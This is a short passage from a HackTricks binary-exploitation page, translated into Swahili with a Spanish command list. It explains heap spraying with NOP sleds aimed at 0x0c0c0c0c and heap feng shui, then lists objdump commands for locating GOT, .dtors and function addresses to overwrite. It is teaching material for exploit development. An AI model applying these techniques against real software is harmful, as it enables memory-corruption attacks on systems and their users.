Kimsingi inajumuisha kuhifadhi kumbukumbu yote inayowezekana kwa heaps na kujaza hizi na mto wa nops unaomalizika na shellcode. Zaidi ya hayo, kama mto inatumika 0x0c. Kwa hivyo itajaribu kuruka kwenye anwani 0x0c0c0c0c, na hivyo ikiwa itandika anwani yoyote ambayo itaitwa na mto huu itaruka huko. Kimsingi mbinu ni kuhifadhi kadri iwezekanavyo ili kuona ikiwa inandika pointer yoyote na kuruka kwenye 0x0c0c0c0c ikitarajia kwamba huko kuna nops.

Heap Feng Shui

Inajumuisha kupitia uhifadhi na kuachiliwa kuandaa kumbukumbu ili kuwe na vipande vilivyohifadhiwa kati ya vipande vya bure. Buffer inayoweza kuzidiwa itakuwa katika moja ya mayai.

objdump -d ejecutable —> Disas functions
objdump -d ./PROGRAMA | grep FUNCION —> Get function address
objdump -d -Mintel ./shellcodeout —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
objdump -t ./exec | grep varBss —> Tabla de símbolos, para sacar address de variables y funciones
objdump -TR ./exec | grep exit(func lib) —> Para sacar address de funciones de librerías (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Saca la dirección de puts a sobreescribir en le GOT
objdump -D ./exec —> Disas ALL hasta las entradas de la plt
objdump -p -/exec
Info functions strncmp —> Info de la función en gdb

Interesting courses

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}